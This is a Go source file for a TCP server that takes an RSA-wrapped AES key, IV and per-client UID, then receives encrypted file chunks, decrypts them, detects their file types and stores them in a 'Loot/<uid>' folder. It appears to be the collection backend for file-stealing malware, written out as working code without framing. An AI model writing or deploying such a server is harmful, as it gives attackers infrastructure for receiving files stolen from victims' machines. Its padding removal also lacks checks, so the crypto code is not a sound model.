package main

import (
	"bufio"
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"strings"
	"fmt"
    "crypto/rsa"
    "crypto/x509"
    "encoding/pem"
    "io/ioutil"
	"log"
	"net"
	"github.com/liamg/magic"
	"os"
	"time"
	"math/rand"
)

var jpegExif = []byte{0xff, 0xd8, 0xff, 0xe1}

func main() {
	host := "0.0.0.0"
	port := 5645

	privateKeyPath := "private_key.pem"

	// Load the private key from the PEM file

	privateKey, err := loadPrivateKeyFromPEM(privateKeyPath)
	if err != nil {
		fmt.Println("Error loading private key:", err)
		return
	}
	listener, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port))
	if err != nil {
		log.Fatalf("Error listening: %v", err)
	}
	defer listener.Close()

	fmt.Printf("Server listening on %s:%d\n", host, port)

	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Printf("Error accepting connection: %v", err)
			continue
		}

		go handleConnection(conn, privateKey)
	}
}

func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("Recovered from panic: %v", r)
        }
    }()
    defer conn.Close()

    fmt.Println("Got conn")

    // Receive key, IV, and UID
    keyData, err := bufio.NewReader(conn).ReadString('\n')
    if err != nil {
        log.Printf("Error reading key: %v", err)
        return
    }
    key, err := decryptKeyIV(strings.TrimSpace(keyData), privateKey)
    if err != nil {
        log.Printf("Error decrypting key: %v", err)
        return
    }
    conn.Write([]byte("OK\n"))

    ivData, err := bufio.NewReader(conn).ReadString('\n')
    if err != nil {
        log.Printf("Error reading IV: %v", err)
        return
    }
    iv, err := decryptKeyIV(strings.TrimSpace(ivData), privateKey)
    if err != nil {
        log.Printf("Error decrypting IV: %v", err)
        return
    }
    conn.Write([]byte("OK\n"))

    uidData, err := bufio.NewReader(conn).ReadString('\n')
    if err != nil {
        log.Printf("Error reading UID: %v", err)
        return
    }
    uid, err := decryptKeyIV(strings.TrimSpace(uidData), privateKey)
    if err != nil {
        log.Printf("Error decrypting UID: %v", err)
        return
    }
    conn.Write([]byte("OK\n"))

    fmt.Println("Exchange, OK!")

    for {
        var chunks []string
        for {
            chunk, err := bufio.NewReader(conn).ReadString('\n')
            if err != nil {
                log.Printf("Error reading chunk: %v", err)
                return
            }
            if strings.TrimSpace(chunk) == "END_OF_DATA" {
                fmt.Printf("Received file\n")
                break
            }

            chunks = append(chunks, chunk)

            conn.Write([]byte("C\n"))
        }
        go decryptAndHandle(chunks, key, iv, uid)
        
        conn.Write([]byte("D\n"))


        moreFiles, err := bufio.NewReader(conn).ReadString('\n')
        if err != nil {
            log.Printf("Error reading more files signal: %v", err)
            return
        }
        if strings.TrimSpace(moreFiles) == "END_OF_COMMUNICATION" {
            fmt.Println("Client ended communication")
            break
        }
    }
}

func decryptAndHandle(chunks []string, key []byte, iv []byte, uid []byte){
    var plaintext []byte
    for _, chunk := range chunks{
        ciphertext, err := base64.StdEncoding.DecodeString(strings.TrimSpace(chunk))
        if err != nil {
            log.Printf("Error decoding chunk: %v", err)
            return
        }

        plaintextChunk, err := decrypt(ciphertext, key, iv)
        
        if err != nil {
            log.Printf("Error decrypting chunk: %v", err)
            return
        }
        plaintext = append(plaintext, plaintextChunk...)
    }
    handleDecrypted(plaintext, uid)
}

func decrypt(cipherText []byte, key []byte, iv []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	if len(cipherText) < aes.BlockSize {
		return nil, fmt.Errorf("ciphertext too short")
	}

	mode := cipher.NewCBCDecrypter(block, iv)
	mode.CryptBlocks(cipherText, cipherText)

	cipherText = PKCS5Unpadding(cipherText)

	return cipherText, nil
}

func PKCS5Unpadding(data []byte) []byte {
	length := len(data)
	unpadding := int(data[length-1])
	return data[:(length - unpadding)]
}

func decryptRSA(encryptedData []byte, privateKey *rsa.PrivateKey) ([]byte, error) {
    decryptedData, err := rsa.DecryptPKCS1v15(nil, privateKey, encryptedData)
    if err != nil {
        return nil, err
    }
    return decryptedData, nil
}

func loadPrivateKeyFromPEM(filePath string) (*rsa.PrivateKey, error) {
    // Read the PEM file
    pemData, err := ioutil.ReadFile(filePath)
    if err != nil {
        return nil, err
    }

    // Decode PEM data
    block, _ := pem.Decode(pemData)
    if block == nil {
        return nil, fmt.Errorf("failed to decode PEM data")
    }

    // Parse the key
    privateKey, err := x509.ParsePKCS8PrivateKey(block.Bytes)
    if err != nil {
        return nil, err
    }

    // Assert that the key is an RSA private key
    rsaPrivateKey, ok := privateKey.(*rsa.PrivateKey)
    if !ok {
        return nil, fmt.Errorf("not an RSA private key")
    }

    return rsaPrivateKey, nil
}

func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
    encryptedData, err := base64.StdEncoding.DecodeString(ed)
    if err != nil {
        return nil, err
    }

    decryptedMessage, err := decryptRSA(encryptedData, privateKey)
    if err != nil {
        fmt.Println("Error decrypting message:", err)
        return nil, err
    }
    decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
    return decodedKey, err
}

func handleDecrypted(decryptedDataB []byte, uidB []byte) {
    data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))

    // Determine file type
    fileType, err := magic.Lookup(data)
    if err != nil {
        if err == magic.ErrUnknown {
            fmt.Println("File type is unknown")
        } else {
            panic(err)
        }
    }

    var fileTDef string
    if fileType != nil {
        fileTDef = fileType.Extension
    } else {
        if string(data[:4]) == string(jpegExif) {
            fileTDef = "jpeg"
        } else {
            fileTDef = "unknown"
        }
    }

    uid := strings.TrimSpace(string(uidB))
    folderPath := fmt.Sprintf("Loot/%s", uid)
    err = createFolderIfNotExists(folderPath)
    if err != nil {
        panic(err)
    }

    timestamp := time.Now().Unix()

    nonce := generateNonce(8) 
    filename := fmt.Sprintf("%d_%s.%s", timestamp, nonce, fileTDef)

    filePath := fmt.Sprintf("%s/%s", folderPath, filename)
    fmt.Println(filePath)
    err = saveFile(filePath, data)
    if err != nil {
        panic(err)
    }

    fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
}

func generateNonce(length int) string {
    const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    var nonce strings.Builder
    for i := 0; i < length; i++ {
        nonce.WriteByte(charset[rand.Intn(len(charset))])
    }
    return nonce.String()
}


func createFolderIfNotExists(folderPath string) error {
	_, err := os.Stat(folderPath)
	if os.IsNotExist(err) {
		err := os.MkdirAll(folderPath, 0755)
		if err != nil {
			return err
		}
	}
	return nil
}

func saveFile(filePath string, data []byte) error {
	err := ioutil.WriteFile(filePath, data, 0644)
	if err != nil {
		return err
	}
	return nil
}